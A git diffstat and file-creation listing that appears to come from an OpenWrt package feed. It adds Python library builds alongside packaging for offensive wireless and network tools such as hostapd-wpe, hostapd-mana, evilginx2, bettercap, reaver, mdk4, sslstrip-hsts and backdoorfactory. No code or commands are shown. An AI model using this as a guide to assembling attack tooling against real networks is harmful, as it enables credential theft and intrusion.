lang/python/python-colorama/Makefile | 58 + lang/python/python-constantly/Makefile | 68 + lang/python/python-contextlib2/Makefile | 36 + lang/python/python-crcmod/Makefile | 50 + lang/python/python-crypto/Makefile | 77 + .../patches/001-no-host-paths.patch | 11 + .../patches/002-fix-endianness-detect.patch | 13 + .../patches/003-omit-tests.patch | 19 + .../patches/100-CVE-2013-7459.patch | 106 + .../patches/101-CVE-2018-6594.patch | 51 + lang/python/python-cryptodome/Makefile | 76 + .../patches/001-fix-libgmp-loading.patch | 11 + .../patches/002-omit-tests.patch | 12 + lang/python/python-cryptodomex/Makefile | 73 + .../patches/001-fix-libgmp-loading.patch | 11 + .../patches/002-omit-tests.patch | 12 + lang/python/python-cryptography/Makefile | 81 + .../001-disable-setup-requirements.patch | 10 + .../patches/010-remove-npn.patch | 41 + .../patches/020-disable-npn.patch | 23 + .../patches/030-remove-npn.patch | 22 + lang/python/python-curl/Makefile | 87 + .../0001-Add-locking-support-to-wolfSSL.patch | 128 + lang/python/python-dateutil/Makefile | 63 + lang/python/python-decorator/Makefile | 33 + lang/python/python-defusedxml/Makefile | 70 + lang/python/python-dns/Makefile | 66 + lang/python/python-docutils/Makefile | 62 + lang/python/python-dpkt/Makefile | 48 + lang/python/python-egenix-mx-base/Makefile | 55 + lang/python/python-enum34/Makefile | 56 + .../python-enum34/patches/001-omit-docs.patch | 18 + lang/python/python-et_xmlfile/Makefile | 69 + lang/python/python-evdev/Makefile | 78 + lang/python/python-futures/Makefile | 38 + lang/python/python-gmpy2/Makefile | 76 + lang/python/python-gnupg/Makefile | 84 + lang/python/python-host.mk | 98 + lang/python/python-hyperlink/Makefile | 72 + .../patches/001-omit-tests.patch | 13 + lang/python/python-idna/Makefile | 73 + lang/python/python-ifaddr/Makefile | 43 + .../python/python-importlib-metadata/Makefile | 37 + lang/python/python-incremental/Makefile | 66 + .../patches/001-omit-tests.patch | 11 + lang/python/python-influxdb/Makefile | 37 + lang/python/python-intelhex/Makefile | 42 + lang/python/python-ipaddress/Makefile | 48 + lang/python/python-jdcal/Makefile | 64 + lang/python/python-jmespath/Makefile | 58 + lang/python/python-jsonpath-ng/Makefile | 32 + lang/python/python-ldap/Makefile | 57 + lang/python/python-lxml/Makefile | 95 + lang/python/python-markdown/Makefile | 46 + lang/python/python-more-itertools/Makefile | 42 + lang/python/python-multidict/Makefile | 43 + lang/python/python-mysql/Makefile | 65 + lang/python/python-netdisco/Makefile | 47 + lang/python/python-oauthlib/Makefile | 64 + lang/python/python-package-install.sh | 102 + lang/python/python-package.mk | 147 + lang/python/python-packages/Makefile | 131 + lang/python/python-packages/README.md | 72 + lang/python/python-paho-mqtt/Makefile | 37 + lang/python/python-parsley/Makefile | 69 + .../patches/001-py3-read-utf8.patch | 19 + .../patches/002-omit-tests.patch | 11 + lang/python/python-pcapy/Makefile | 46 + .../python-pcapy/patches/010-libcxx.patch | 13 + lang/python/python-pip-conf/Makefile | 36 + lang/python/python-pip-conf/files/pip.conf | 3 + lang/python/python-ply/Makefile | 68 + lang/python/python-psycopg2/Makefile | 56 + lang/python/python-pyasn1-modules/Makefile | 71 + lang/python/python-pyasn1/Makefile | 69 + lang/python/python-pycparser/Makefile | 75 + .../patches/001-use-external-ply.patch | 35 + lang/python/python-pyopenssl/Makefile | 73 + lang/python/python-pyotp/Makefile | 43 + lang/python/python-pyptlib/Makefile | 50 + lang/python/python-pyrsistent/Makefile | 43 + lang/python/python-pyserial/Makefile | 69 + lang/python/python-pytz/Makefile | 79 + lang/python/python-qrcode/Makefile | 72 + lang/python/python-rcssmin/Makefile | 71 + lang/python/python-requests-oauthlib/Makefile | 71 + lang/python/python-requests/Makefile | 77 + lang/python/python-rsa/Makefile | 64 + lang/python/python-s3transfer/Makefile | 62 + lang/python/python-schema/Makefile | 36 + lang/python/python-sentry-sdk/Makefile | 46 + lang/python/python-service-identity/Makefile | 78 + lang/python/python-simplejson/Makefile | 65 + lang/python/python-six/Makefile | 81 + lang/python/python-slugify/Makefile | 45 + lang/python/python-sqlalchemy/Makefile | 51 + lang/python/python-twisted/Makefile | 104 + .../patches/001-omit-tkconch.patch | 18 + .../patches/002-omit-tests.patch | 37 + ...ix-several-request-smuggling-attacks.patch | 260 + lang/python/python-txsocksx/Makefile | 56 + .../patches/001-omit-tests.patch | 9 + .../patches/002-do-not-use-vcversioner.patch | 27 + lang/python/python-urllib3/Makefile | 67 + lang/python/python-version.mk | 15 + .../python-voluptuous-serialize/Makefile | 43 + lang/python/python-voluptuous/Makefile | 68 + lang/python/python-yaml/Makefile | 75 + lang/python/python-yarl/Makefile | 45 + lang/python/python-zeroconf/Makefile | 44 + lang/python/python-zipp/Makefile | 36 + lang/python/python-zope-interface/Makefile | 69 + .../patches/001-omit-tests.patch | 19 + lang/python/python/Config-python-light.in | 7 + lang/python/python/Makefile | 382 + lang/python/python/files/config.site | 12 + lang/python/python/files/python-config.in | 80 + .../python/files/python-package-codecs.mk | 23 + .../python/files/python-package-compiler.mk | 16 + .../python/files/python-package-ctypes.mk | 18 + lang/python/python/files/python-package-db.mk | 18 + .../python/files/python-package-decimal.mk | 16 + .../python/python/files/python-package-dev.mk | 29 + .../python/files/python-package-distutils.mk | 16 + .../python/files/python-package-email.mk | 16 + .../python/files/python-package-gdbm.mk | 16 + .../python/files/python-package-lib2to3.mk | 18 + .../python/files/python-package-logging.mk | 16 + .../files/python-package-multiprocessing.mk | 17 + .../python/files/python-package-ncurses.mk | 18 + .../python/files/python-package-openssl.mk | 17 + .../python/python/files/python-package-pip.mk | 30 + .../files/python-package-pkg-resources.mk | 28 + .../python/files/python-package-pydoc.mk | 18 + .../python/files/python-package-setuptools.mk | 34 + .../python/files/python-package-sqlite3.mk | 17 + .../python/files/python-package-unittest.mk | 16 + .../python/python/files/python-package-xml.mk | 20 + .../patches-pip/001-pep517-pyc-fix.patch | 13 + .../patches-setuptools/001-reproducible.patch | 16 + .../002-sorted-requires.patch | 16 + .../003-PKG-INFO-output-reproducible.patch | 14 + .../patches-setuptools/004-site-patch.patch | 14 + .../python/patches/001-enable-zlib.patch | 20 + ...dd-include-dirs-when-cross-compiling.patch | 12 + .../003-do-not-compile-tests-at-build.patch | 18 + .../004-do-not-write-bytes-codes.patch | 11 + .../patches/005-fix-bluetooth-support.patch | 57 + ...06-remove-multi-arch-and-local-paths.patch | 16 + .../007-distutils-do-not-adjust-path.patch | 10 + .../008-distutils-use-python-sysroot.patch | 50 + ...t-use-dblib_dir-when-cross-compiling.patch | 32 + ...add-rt-lib-dirs-when-cross-compiling.patch | 13 + ...12-add-support-source-date-epoch-pyc.patch | 10 + ...uildinfo-date-time-source-date-epoch.patch | 28 + .../021-compileall-add-recursion-option.patch | 31 + .../patches/024-musl-find_library.patch | 74 + lang/python/python/patches/025-utime.patch | 11 + ...test-to-get-float-byte-order-GH-9085.patch | 201 + ...po-34585-run-autoconf-GH-9411-edited.patch | 212 + lang/python/python3-bottle/Makefile | 45 + lang/python/python3-flask-login/Makefile | 44 + lang/python/python3-host.mk | 98 + lang/python/python3-maxminddb/Makefile | 42 + ...g-deprecated-Feature-from-setuptools.patch | 33 + lang/python/python3-netifaces/Makefile | 43 + lang/python/python3-package.mk | 148 + lang/python/python3-packages/Makefile | 134 + lang/python/python3-packages/README.md | 72 + lang/python/python3-pyroute2/Makefile | 53 + lang/python/python3-unidecode/Makefile | 43 + lang/python/python3-version.mk | 19 + lang/python/python3/Config-python3-light.in | 7 + lang/python/python3/Makefile | 377 + lang/python/python3/files/config.site | 13 + .../python3/files/python3-package-asyncio.mk | 16 + .../python3/files/python3-package-cgi.mk | 27 + .../python3/files/python3-package-codecs.mk | 22 + .../python3/files/python3-package-ctypes.mk | 18 + .../python3/files/python3-package-dbm.mk | 17 + .../python3/files/python3-package-decimal.mk | 17 + .../python3/files/python3-package-dev.mk | 30 + .../files/python3-package-distutils.mk | 16 + .../python3/files/python3-package-email.mk | 16 + .../python3/files/python3-package-gdbm.mk | 16 + .../python3/files/python3-package-lib2to3.mk | 18 + .../python3/files/python3-package-logging.mk | 16 + .../python3/files/python3-package-lzma.mk | 17 + .../files/python3-package-multiprocessing.mk | 17 + .../python3/files/python3-package-ncurses.mk | 18 + .../python3/files/python3-package-openssl.mk | 17 + .../python3/files/python3-package-pip.mk | 32 + .../files/python3-package-pkg-resources.mk | 30 + .../python3/files/python3-package-pydoc.mk | 18 + .../files/python3-package-setuptools.mk | 37 + .../python3/files/python3-package-sqlite3.mk | 17 + .../python3/files/python3-package-unittest.mk | 16 + .../python3/files/python3-package-urllib.mk | 16 + .../python3/files/python3-package-xml.mk | 19 + .../patches-pip/001-pep517-pyc-fix.patch | 22 + .../patches-setuptools/001-reproducible.patch | 16 + .../002-sorted-requires.patch | 16 + .../003-PKG-INFO-output-reproducible.patch | 14 + .../patches-setuptools/004-site-patch.patch | 14 + .../python3/patches/001-enable-zlib.patch | 20 + .../003-do-not-run-distutils-tests.patch | 18 + .../004-do-not-write-bytes-codes.patch | 11 + ...06-remove-multi-arch-and-local-paths.patch | 19 + .../007-distutils-do-not-adjust-path.patch | 10 + .../008-distutils-use-python-sysroot.patch | 60 + ...add-rt-lib-dirs-when-cross-compiling.patch | 13 + ...uildinfo-date-time-source-date-epoch.patch | 28 + .../014-remove-platform-so-suffix.patch | 22 + .../patches/015-abort-on-failed-modules.patch | 10 + .../patches/016-adjust-config-paths.patch | 80 + .../patches/024-musl-find_library.patch | 74 + ...test-to-get-float-byte-order-GH-9085.patch | 201 + .../026-bpo-34585-run-autoconf-GH-9411.patch | 213 + lang/python/ruamel-yaml/Makefile | 68 + lang/python/text-unidecode/Makefile | 68 + lang/python/vobject/Makefile | 59 + lang/python/xmltodict/Makefile | 46 + libgeoip/Makefile | 52 + libwebsockets/Makefile | 103 + libwebsockets/patches/020-fix-travis.patch | 14 + lrc | 1 + mdk3/Makefile | 47 + mdk3/src | 1 + mdk4/Makefile | 72 + mdk4/src | 1 + ngrep/Makefile | 58 + ngrep/src | 1 + pixelsrv-tls/Makefile | 66 + pixelsrv-tls/src | 1 + pixiewps-custom/Makefile | 56 + pixiewps-custom/src | 1 + python3-host.mk | 82 + python3-package.mk | 230 + python3-version.mk | 19 + reaver-custom/Makefile | 67 + reaver-custom/src | 1 + reghack/Makefile | 60 + reghack/src/Makefile | 42 + reghack/src/reghack.c | 442 + reghack/src/reghack.c.save | 447 + sslsplit/Makefile | 52 + sslsplit/src | 1 + sslstrip-hsts/Makefile | 40 + sslstrip-hsts/src | 1 + 1316 files changed, 526986 insertions(+), 2 deletions(-) create mode 100644 .github/FUNDING.yml create mode 100644 .gitignore create mode 100644 .gitmodules create mode 100644 aircrack-ng-custom/Config.in create mode 100644 aircrack-ng-custom/Makefile create mode 100644 aircrack-ng-custom/patches/001-fix-openssl-autotools-detection.patch create mode 160000 aircrack-ng-custom/src create mode 100644 asleap/Makefile create mode 100644 asleap/src/COPYING create mode 100644 asleap/src/Makefile create mode 100644 asleap/src/README create mode 100644 asleap/src/THANKS create mode 100755 asleap/src/asleap create mode 100644 asleap/src/asleap.c create mode 100644 asleap/src/asleap.h create mode 100644 asleap/src/byteswap.h create mode 100644 asleap/src/common.c create mode 100644 asleap/src/common.h create mode 100644 asleap/src/data/README create mode 100644 asleap/src/data/leap.dump create mode 100644 asleap/src/data/leap2.dump create mode 100644 asleap/src/data/pptp.dump create mode 100755 asleap/src/genkeys create mode 100644 asleap/src/genkeys.c create mode 100644 asleap/src/genkeys.val create mode 100644 asleap/src/ieee80211.h create mode 100644 asleap/src/ieee8021x.h create mode 100644 asleap/src/ietfproto.h create mode 100644 asleap/src/joshlea.dump create mode 100644 asleap/src/makefile.cygwin create mode 100644 asleap/src/md4.c create mode 100644 asleap/src/md4.h create mode 100644 asleap/src/radiotap.h create mode 100644 asleap/src/scripts/README create mode 100755 asleap/src/scripts/morewords.pl create mode 100755 asleap/src/scripts/strip-nonascii.pl create mode 100644 asleap/src/scripts/testidx.c create mode 100644 asleap/src/sha1.c create mode 100644 asleap/src/sha1.h create mode 100644 asleap/src/utils.c create mode 100644 asleap/src/utils.h create mode 100644 asleap/src/version.h create mode 100644 backdoorfactory/Makefile create mode 100644 bettercap/Makefile create mode 160000 bully-custom create mode 100644 dns2proxy/Makefile create mode 160000 dns2proxy/src create mode 100644 ettercap/Makefile create mode 100644 ettercap/patches/001-compile.patch create mode 100644 evilginx2/Makefile create mode 160000 evilginx2/src create mode 100644 hcxdumptool-custom/Makefile create mode 160000 hcxdumptool-custom/src create mode 100644 hcxlabtools/Makefile create mode 160000 hcxlabtools/src create mode 100644 hcxtools-custom/Makefile create mode 160000 hcxtools-custom/src create mode 100644 hostapd-mana/Config.in create mode 100644 hostapd-mana/Makefile create mode 100644 hostapd-mana/files/hostapd-mana.config create mode 100644 hostapd-mana/hostapd-2.9.mk create mode 160000 hostapd-mana/src create mode 160000 hostapd-mana/src2.9 create mode 100644 hostapd-wpe/Config.in create mode 100644 hostapd-wpe/Makefile create mode 100644 hostapd-wpe/files/.svn/entries create mode 100644 hostapd-wpe/files/.svn/prop-base/hostapd-full.config.svn-base create mode 100644 hostapd-wpe/files/.svn/prop-base/hostapd-mini.config.svn-base create mode 100644 hostapd-wpe/files/.svn/prop-base/hostapd.sh.svn-base create mode 100644 hostapd-wpe/files/.svn/prop-base/wpa_supplicant-mini.config.svn-base create mode 100644 hostapd-wpe/files/.svn/text-base/hostapd-full.config.svn-base create mode 100644 hostapd-wpe/files/.svn/text-base/hostapd-mini.config.svn-base create mode 100644 hostapd-wpe/files/.svn/text-base/hostapd.sh.svn-base create mode 100644 hostapd-wpe/files/.svn/text-base/multicall.c.svn-base create mode 100644 hostapd-wpe/files/.svn/text-base/netifd.sh.svn-base create mode 100644 hostapd-wpe/files/.svn/text-base/wpa_supplicant-full.config.svn-base create mode 100644 hostapd-wpe/files/.svn/text-base/wpa_supplicant-mini.config.svn-base create mode 100644 hostapd-wpe/files/.svn/text-base/wpa_supplicant-p2p.config.svn-base create mode 100644 hostapd-wpe/files/.svn/text-base/wpa_supplicant.sh.svn-base create mode 100644 hostapd-wpe/files/.svn/text-base/wps-hotplug.sh.svn-base create mode 100644 hostapd-wpe/files/hostapd-full.config create mode 100644 hostapd-wpe/files/hostapd-mini.config create mode 100644 hostapd-wpe/files/hostapd-wpe.config create mode 100644 hostapd-wpe/files/hostapd.sh create mode 100644 hostapd-wpe/files/multicall.c create mode 100644 hostapd-wpe/files/netifd.sh create mode 100644 hostapd-wpe/files/wpa_supplicant-full.config create mode 100644 hostapd-wpe/files/wpa_supplicant-mini.config create mode 100644 hostapd-wpe/files/wpa_supplicant-p2p.config create mode 100644 hostapd-wpe/files/wpa_supplicant.sh create mode 100644 hostapd-wpe/files/wps-hotplug.sh create mode 100644 hostapd-wpe/src/Android.mk create mode 100644 hostapd-wpe/src/CONTRIBUTIONS create mode 100644 hostapd-wpe/src/COPYING create mode 100644 hostapd-wpe/src/README create mode 100644 hostapd-wpe/src/hostapd/.config create mode 100644 hostapd-wpe/src/hostapd/Android.mk create mode 100644 hostapd-wpe/src/hostapd/ChangeLog create mode 100644 hostapd-wpe/src/hostapd/Makefile create mode 100644 hostapd-wpe/src/hostapd/README create mode 100644 hostapd-wpe/src/hostapd/README-MULTI-AP create mode 100644 hostapd-wpe/src/hostapd/README-WPS create mode 100644 hostapd-wpe/src/hostapd/android.config create mode 100644 hostapd-wpe/src/hostapd/certs/Makefile create mode 100644 hostapd-wpe/src/hostapd/certs/README create mode 100644 hostapd-wpe/src/hostapd/certs/README.wpe create mode 100644 hostapd-wpe/src/hostapd/certs/bootstrap create mode 100644 hostapd-wpe/src/hostapd/certs/ca.cnf create mode 100644 hostapd-wpe/src/hostapd/certs/client.cnf create mode 100644 hostapd-wpe/src/hostapd/certs/demoCA/cacert.pem create mode 100644 hostapd-wpe/src/hostapd/certs/server.cnf create mode 100644 hostapd-wpe/src/hostapd/certs/xpextensions create mode 100644 hostapd-wpe/src/hostapd/config_file.c create mode 100644 hostapd-wpe/src/hostapd/config_file.h create mode 100644 hostapd-wpe/src/hostapd/ctrl_iface.c create mode 100644 hostapd-wpe/src/hostapd/ctrl_iface.h create mode 100644 hostapd-wpe/src/hostapd/defconfig create mode 100644 hostapd-wpe/src/hostapd/eap_register.c create mode 100644 hostapd-wpe/src/hostapd/eap_register.h create mode 100644 hostapd-wpe/src/hostapd/eap_testing.txt create mode 100644 hostapd-wpe/src/hostapd/etc/certs/ca.der create mode 100644 hostapd-wpe/src/hostapd/etc/certs/ca.key create mode 100644 hostapd-wpe/src/hostapd/etc/certs/ca.pem create mode 100644 hostapd-wpe/src/hostapd/etc/certs/dh create mode 100644 hostapd-wpe/src/hostapd/etc/certs/server.key create mode 100644 hostapd-wpe/src/hostapd/etc/certs/server.pem create mode 100644 hostapd-wpe/src/hostapd/etc/certs/server_no_pass.key create mode 100644 hostapd-wpe/src/hostapd/etc/hostapd-wpe-an.conf create mode 100644 hostapd-wpe/src/hostapd/etc/hostapd-wpe-bgn.conf create mode 100644 hostapd-wpe/src/hostapd/etc/hostapd-wpe.eap_user create mode 100644 hostapd-wpe/src/hostapd/hapd_module_tests.c create mode 100644 hostapd-wpe/src/hostapd/hlr_auc_gw.c create mode 100644 hostapd-wpe/src/hostapd/hlr_auc_gw.milenage_db create mode 100644 hostapd-wpe/src/hostapd/hlr_auc_gw.txt create mode 100644 hostapd-wpe/src/hostapd/hostapd-wpe.conf create mode 100644 hostapd-wpe/src/hostapd/hostapd-wpe.eap_user create mode 100644 hostapd-wpe/src/hostapd/hostapd.8 create mode 100644 hostapd-wpe/src/hostapd/hostapd.accept create mode 100644 hostapd-wpe/src/hostapd/hostapd.android.rc create mode 100644 hostapd-wpe/src/hostapd/hostapd.conf create mode 100644 hostapd-wpe/src/hostapd/hostapd.deny create mode 100644 hostapd-wpe/src/hostapd/hostapd.eap_user create mode 100644 hostapd-wpe/src/hostapd/hostapd.eap_user_sqlite create mode 100644 hostapd-wpe/src/hostapd/hostapd.radius_clients create mode 100644 hostapd-wpe/src/hostapd/hostapd.sim_db create mode 100644 hostapd-wpe/src/hostapd/hostapd.vlan create mode 100644 hostapd-wpe/src/hostapd/hostapd.wpa_psk create mode 100644 hostapd-wpe/src/hostapd/hostapd_cli.1 create mode 100644 hostapd-wpe/src/hostapd/hostapd_cli.c create mode 100644 hostapd-wpe/src/hostapd/logwatch/README create mode 100755 hostapd-wpe/src/hostapd/logwatch/hostapd create mode 100644 hostapd-wpe/src/hostapd/logwatch/hostapd.conf create mode 100644 hostapd-wpe/src/hostapd/main.c create mode 100644 hostapd-wpe/src/hostapd/nt_password_hash.c create mode 100644 hostapd-wpe/src/hostapd/wired.conf create mode 100755 hostapd-wpe/src/hostapd/wps-ap-nfc.py create mode 100644 hostapd-wpe/src/hs20/client/Android.mk create mode 100644 hostapd-wpe/src/hs20/client/Makefile create mode 100644 hostapd-wpe/src/hs20/client/devdetail.xml create mode 100644 hostapd-wpe/src/hs20/client/devinfo.xml create mode 100644 hostapd-wpe/src/hs20/client/est.c create mode 100644 hostapd-wpe/src/hs20/client/oma_dm_client.c create mode 100644 hostapd-wpe/src/hs20/client/osu_client.c create mode 100644 hostapd-wpe/src/hs20/client/osu_client.h create mode 100644 hostapd-wpe/src/hs20/client/spp_client.c create mode 100644 hostapd-wpe/src/hs20/server/Makefile create mode 100755 hostapd-wpe/src/hs20/server/ca/clean.sh create mode 100644 hostapd-wpe/src/hs20/server/ca/est-csrattrs.cnf create mode 100755 hostapd-wpe/src/hs20/server/ca/est-csrattrs.sh create mode 100644 hostapd-wpe/src/hs20/server/ca/hs20.oid create mode 100755 hostapd-wpe/src/hs20/server/ca/ocsp-req.sh create mode 100755 hostapd-wpe/src/hs20/server/ca/ocsp-responder-ica.sh create mode 100755 hostapd-wpe/src/hs20/server/ca/ocsp-responder.sh create mode 100755 hostapd-wpe/src/hs20/server/ca/ocsp-update-cache.sh create mode 100644 hostapd-wpe/src/hs20/server/ca/openssl-root.cnf create mode 100644 hostapd-wpe/src/hs20/server/ca/openssl.cnf create mode 100755 hostapd-wpe/src/hs20/server/ca/setup.sh create mode 100644 hostapd-wpe/src/hs20/server/ca/w1fi_logo.png create mode 100644 hostapd-wpe/src/hs20/server/hs20-osu-server.txt create mode 100644 hostapd-wpe/src/hs20/server/hs20_spp_server.c create mode 100644 hostapd-wpe/src/hs20/server/spp_server.c create mode 100644 hostapd-wpe/src/hs20/server/spp_server.h create mode 100644 hostapd-wpe/src/hs20/server/sql-example.txt create mode 100644 hostapd-wpe/src/hs20/server/sql.txt create mode 100644 hostapd-wpe/src/hs20/server/www/add-free.php create mode 100644 hostapd-wpe/src/hs20/server/www/add-mo.php create mode 100644 hostapd-wpe/src/hs20/server/www/cert-enroll.php create mode 100644 hostapd-wpe/src/hs20/server/www/config.php create mode 100644 hostapd-wpe/src/hs20/server/www/est.php create mode 100644 hostapd-wpe/src/hs20/server/www/free-remediation.php create mode 100644 hostapd-wpe/src/hs20/server/www/free.php create mode 100644 hostapd-wpe/src/hs20/server/www/redirect.php create mode 100644 hostapd-wpe/src/hs20/server/www/remediation.php create mode 100644 hostapd-wpe/src/hs20/server/www/signup.php create mode 100644 hostapd-wpe/src/hs20/server/www/spp.php create mode 100644 hostapd-wpe/src/hs20/server/www/users.php create mode 100644 hostapd-wpe/src/src/Makefile create mode 100644 hostapd-wpe/src/src/ap/Makefile create mode 100644 hostapd-wpe/src/src/ap/accounting.c create mode 100644 hostapd-wpe/src/src/ap/accounting.h create mode 100644 hostapd-wpe/src/src/ap/acs.c create mode 100644 hostapd-wpe/src/src/ap/acs.h create mode 100644 hostapd-wpe/src/src/ap/ap_config.c create mode 100644 hostapd-wpe/src/src/ap/ap_config.h create mode 100644 hostapd-wpe/src/src/ap/ap_drv_ops.c create mode 100644 hostapd-wpe/src/src/ap/ap_drv_ops.h create mode 100644 hostapd-wpe/src/src/ap/ap_list.c create mode 100644 hostapd-wpe/src/src/ap/ap_list.h create mode 100644 hostapd-wpe/src/src/ap/ap_mlme.c create mode 100644 hostapd-wpe/src/src/ap/ap_mlme.h create mode 100644 hostapd-wpe/src/src/ap/authsrv.c create mode 100644 hostapd-wpe/src/src/ap/authsrv.h create mode 100644 hostapd-wpe/src/src/ap/beacon.c create mode 100644 hostapd-wpe/src/src/ap/beacon.h create mode 100644 hostapd-wpe/src/src/ap/bss_load.c create mode 100644 hostapd-wpe/src/src/ap/bss_load.h create mode 100644 hostapd-wpe/src/src/ap/ctrl_iface_ap.c create mode 100644 hostapd-wpe/src/src/ap/ctrl_iface_ap.h create mode 100644 hostapd-wpe/src/src/ap/dfs.c create mode 100644 hostapd-wpe/src/src/ap/dfs.h create mode 100644 hostapd-wpe/src/src/ap/dhcp_snoop.c create mode 100644 hostapd-wpe/src/src/ap/dhcp_snoop.h create mode 100644 hostapd-wpe/src/src/ap/dpp_hostapd.c create mode 100644 hostapd-wpe/src/src/ap/dpp_hostapd.h create mode 100644 hostapd-wpe/src/src/ap/drv_callbacks.c create mode 100644 hostapd-wpe/src/src/ap/eap_user_db.c create mode 100644 hostapd-wpe/src/src/ap/eth_p_oui.c create mode 100644 hostapd-wpe/src/src/ap/eth_p_oui.h create mode 100644 hostapd-wpe/src/src/ap/fils_hlp.c create mode 100644 hostapd-wpe/src/src/ap/fils_hlp.h create mode 100644 hostapd-wpe/src/src/ap/gas_query_ap.c create mode 100644 hostapd-wpe/src/src/ap/gas_query_ap.h create mode 100644 hostapd-wpe/src/src/ap/gas_serv.c create mode 100644 hostapd-wpe/src/src/ap/gas_serv.h create mode 100644 hostapd-wpe/src/src/ap/hostapd.c create mode 100644 hostapd-wpe/src/src/ap/hostapd.h create mode 100644 hostapd-wpe/src/src/ap/hs20.c create mode 100644 hostapd-wpe/src/src/ap/hs20.h create mode 100644 hostapd-wpe/src/src/ap/hw_features.c create mode 100644 hostapd-wpe/src/src/ap/hw_features.h create mode 100644 hostapd-wpe/src/src/ap/iapp.c create mode 100644 hostapd-wpe/src/src/ap/iapp.h create mode 100644 hostapd-wpe/src/src/ap/ieee802_11.c create mode 100644 hostapd-wpe/src/src/ap/ieee802_11.h create mode 100644 hostapd-wpe/src/src/ap/ieee802_11_auth.c create mode 100644 hostapd-wpe/src/src/ap/ieee802_11_auth.h create mode 100644 hostapd-wpe/src/src/ap/ieee802_11_he.c create mode 100644 hostapd-wpe/src/src/ap/ieee802_11_ht.c create mode 100644 hostapd-wpe/src/src/ap/ieee802_11_shared.c create mode 100644 hostapd-wpe/src/src/ap/ieee802_11_vht.c create mode 100644 hostapd-wpe/src/src/ap/ieee802_1x.c create mode 100644 hostapd-wpe/src/src/ap/ieee802_1x.h create mode 100644 hostapd-wpe/src/src/ap/mbo_ap.c create mode 100644 hostapd-wpe/src/src/ap/mbo_ap.h create mode 100644 hostapd-wpe/src/src/ap/ndisc_snoop.c create mode 100644 hostapd-wpe/src/src/ap/ndisc_snoop.h create mode 100644 hostapd-wpe/src/src/ap/neighbor_db.c create mode 100644 hostapd-wpe/src/src/ap/neighbor_db.h create mode 100644 hostapd-wpe/src/src/ap/p2p_hostapd.c create mode 100644 hostapd-wpe/src/src/ap/p2p_hostapd.h create mode 100644 hostapd-wpe/src/src/ap/pmksa_cache_auth.c create mode 100644 hostapd-wpe/src/src/ap/pmksa_cache_auth.h create mode 100644 hostapd-wpe/src/src/ap/preauth_auth.c create mode 100644 hostapd-wpe/src/src/ap/preauth_auth.h create mode 100644 hostapd-wpe/src/src/ap/rrm.c create mode 100644 hostapd-wpe/src/src/ap/rrm.h create mode 100644 hostapd-wpe/src/src/ap/sta_info.c create mode 100644 hostapd-wpe/src/src/ap/sta_info.h create mode 100644 hostapd-wpe/src/src/ap/taxonomy.c create mode 100644 hostapd-wpe/src/src/ap/taxonomy.h create mode 100644 hostapd-wpe/src/src/ap/tkip_countermeasures.c create mode 100644 hostapd-wpe/src/src/ap/tkip_countermeasures.h create mode 100644 hostapd-wpe/src/src/ap/utils.c create mode 100644 hostapd-wpe/src/src/ap/vlan.c create mode 100644 hostapd-wpe/src/src/ap/vlan.h create mode 100644 hostapd-wpe/src/src/ap/vlan_full.c create mode 100644 hostapd-wpe/src/src/ap/vlan_ifconfig.c create mode 100644 hostapd-wpe/src/src/ap/vlan_init.c create mode 100644 hostapd-wpe/src/src/ap/vlan_init.h create mode 100644 hostapd-wpe/src/src/ap/vlan_ioctl.c create mode 100644 hostapd-wpe/src/src/ap/vlan_util.c create mode 100644 hostapd-wpe/src/src/ap/vlan_util.h create mode 100644 hostapd-wpe/src/src/ap/wmm.c create mode 100644 hostapd-wpe/src/src/ap/wmm.h create mode 100644 hostapd-wpe/src/src/ap/wnm_ap.c create mode 100644 hostapd-wpe/src/src/ap/wnm_ap.h create mode 100644 hostapd-wpe/src/src/ap/wpa_auth.c create mode 100644 hostapd-wpe/src/src/ap/wpa_auth.h create mode 100644 hostapd-wpe/src/src/ap/wpa_auth_ft.c create mode 100644 hostapd-wpe/src/src/ap/wpa_auth_glue.c create mode 100644 hostapd-wpe/src/src/ap/wpa_auth_glue.h create mode 100644 hostapd-wpe/src/src/ap/wpa_auth_i.h create mode 100644 hostapd-wpe/src/src/ap/wpa_auth_ie.c create mode 100644 hostapd-wpe/src/src/ap/wpa_auth_ie.h create mode 100644 hostapd-wpe/src/src/ap/wps_hostapd.c create mode 100644 hostapd-wpe/src/src/ap/wps_hostapd.h create mode 100644 hostapd-wpe/src/src/ap/x_snoop.c create mode 100644 hostapd-wpe/src/src/ap/x_snoop.h create mode 100644 hostapd-wpe/src/src/common/Makefile create mode 100644 hostapd-wpe/src/src/common/cli.c create mode 100644 hostapd-wpe/src/src/common/cli.h create mode 100644 hostapd-wpe/src/src/common/common_module_tests.c create mode 100644 hostapd-wpe/src/src/common/ctrl_iface_common.c create mode 100644 hostapd-wpe/src/src/common/ctrl_iface_common.h create mode 100644 hostapd-wpe/src/src/common/defs.h create mode 100644 hostapd-wpe/src/src/common/dhcp.h create mode 100644 hostapd-wpe/src/src/common/dpp.c create mode 100644 hostapd-wpe/src/src/common/dpp.h create mode 100644 hostapd-wpe/src/src/common/eapol_common.h create mode 100644 hostapd-wpe/src/src/common/gas.c create mode 100644 hostapd-wpe/src/src/common/gas.h create mode 100644 hostapd-wpe/src/src/common/gas_server.c create mode 100644 hostapd-wpe/src/src/common/gas_server.h create mode 100644 hostapd-wpe/src/src/common/hw_features_common.c create mode 100644 hostapd-wpe/src/src/common/hw_features_common.h create mode 100644 hostapd-wpe/src/src/common/ieee802_11_common.c create mode 100644 hostapd-wpe/src/src/common/ieee802_11_common.h create mode 100644 hostapd-wpe/src/src/common/ieee802_11_defs.h create mode 100644 hostapd-wpe/src/src/common/ieee802_1x_defs.h create mode 100644 hostapd-wpe/src/src/common/linux_bridge.h create mode 100644 hostapd-wpe/src/src/common/linux_vlan.h create mode 100644 hostapd-wpe/src/src/common/ocv.c create mode 100644 hostapd-wpe/src/src/common/ocv.h create mode 100644 hostapd-wpe/src/src/common/privsep_commands.h create mode 100644 hostapd-wpe/src/src/common/qca-vendor-attr.h create mode 100644 hostapd-wpe/src/src/common/qca-vendor.h create mode 100644 hostapd-wpe/src/src/common/sae.c create mode 100644 hostapd-wpe/src/src/common/sae.h create mode 100644 hostapd-wpe/src/src/common/tnc.h create mode 100644 hostapd-wpe/src/src/common/version.h create mode 100644 hostapd-wpe/src/src/common/wpa_common.c create mode 100644 hostapd-wpe/src/src/common/wpa_common.h create mode 100644 hostapd-wpe/src/src/common/wpa_ctrl.c create mode 100644 hostapd-wpe/src/src/common/wpa_ctrl.h create mode 100644 hostapd-wpe/src/src/common/wpa_helpers.c create mode 100644 hostapd-wpe/src/src/common/wpa_helpers.h 